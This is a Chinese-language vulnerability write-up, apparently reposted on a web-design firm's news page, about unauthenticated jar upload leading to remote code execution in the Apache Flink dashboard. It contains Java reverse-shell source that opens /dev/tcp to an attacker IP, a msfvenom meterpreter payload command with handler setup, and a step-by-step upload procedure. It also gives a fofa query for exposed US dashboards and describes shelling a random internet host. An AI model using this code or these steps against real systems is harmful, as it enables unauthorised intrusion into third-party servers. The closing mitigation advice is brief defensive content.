新聞中心
這篇文章給大家介紹apache flink任意jar包上傳導(dǎo)致遠程代碼執(zhí)行的示例分析,內(nèi)容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
在陸豐等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強發(fā)展的系統(tǒng)性、市場前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供網(wǎng)站設(shè)計制作、網(wǎng)站建設(shè) 網(wǎng)站設(shè)計制作按需制作網(wǎng)站,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),品牌網(wǎng)站設(shè)計,網(wǎng)絡(luò)營銷推廣,外貿(mào)營銷網(wǎng)站建設(shè),陸豐網(wǎng)站建設(shè)費用合理。
漏洞描述:
2019年11月11號,安全工程師Henry Chen披露了一個Apache Flink未授權(quán)上傳jar包導(dǎo)致遠程代碼執(zhí)行的漏洞。由于Apache Flink Dashboard 默認無需認證即可訪問,通過上傳惡意jar包并觸發(fā)惡意代碼執(zhí)行,從而獲取shell。
影響范圍
<= 1.9.1(最新版本)
環(huán)境搭建:
(1) 提前安裝好java(需要java8以上)
(2) 下載flink-1.9.1
下載地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解壓下載的壓縮包:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) 進去到解壓后的目錄中,來到其bin目錄下:
(5) 啟動flink:
./start-cluster.sh
(6) 瀏覽器訪問驗證(默認端口為8081):
http://172.26.1.108:8081
出現(xiàn)上圖即搭建成功.
(7) 設(shè)置開機自啟(這里折騰了好久,一直起不來.直接source /etc/rc.d/rc.local可以啟動,但是重啟后并不會啟動flink,最后找到了解決方法)
開機自啟設(shè)置
漏洞復(fù)現(xiàn):
jar包制作步驟:
(1) 參考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中給出的利用java反彈shell
記得修改ip和端口:
代碼:
package shell;public class Revs {
/** * @param args * @throws Exception */
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;
cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}}(2) 利用eclipse將其導(dǎo)出為一個可執(zhí)行的jar包: a. 點擊 File-->Export(導(dǎo)出)
b.然后選擇java-->Runnable JAR file
c.然后選擇對應(yīng)的java項目和導(dǎo)出路徑以及導(dǎo)出文件名
圖片
這樣就生成了一個反彈shell的jar包
msf生成jar馬:
(1) 利用msfvenom來生成一個jar馬:
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打開msf的監(jiān)聽模塊,并監(jiān)聽9999端口(要與我們jar馬設(shè)置的端口一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) 上傳我們生成的jar馬并提交后(這部分操作參考下面的復(fù)現(xiàn)),可以看到我們成功接收到shell:
本地復(fù)現(xiàn):
(1) 訪問目標:
(2) 點擊Submit New job,打開上傳jar包的頁面:
(3) 點擊Add New選擇我們制作好的jar包:
(4) 我們的機器上監(jiān)聽好端口(我們制作的jar包是直接反彈shell的)
(5) 點擊我們剛剛上傳的jar包:
(6) 然后點擊Submit即可,可以看到我們已經(jīng)成功接收到了shell:
互聯(lián)網(wǎng)站點:
fofa關(guān)鍵詞:
"apache-flink-dashboard" && country="US"
(1) 隨便找一個目標:
(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar包
(3) 利用flink上傳jar包的功能將我們的jar包上傳:
(4) 上傳后,我們在我們的vps上監(jiān)聽好端口
(5) 然后回到瀏覽器,選中我們剛剛上傳的jar包,然后點擊Submitting提交,可以看到我們的vps已經(jīng)成功接收到了shell
漏洞修復(fù):
建議設(shè)置防火墻策略,僅允許白名單ip訪問 apache flink服務(wù),并在Web代理(如apache httpd)中增加對該服務(wù)的digest認證。
時刻關(guān)注官網(wǎng),等待新版本或補丁更新
關(guān)于apache flink任意jar包上傳導(dǎo)致遠程代碼執(zhí)行的示例分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
分享名稱:apacheflink任意jar包上傳導(dǎo)致遠程代碼執(zhí)行的示例分析
標題來源:http://fisionsoft.com.cn/article/goiieg.html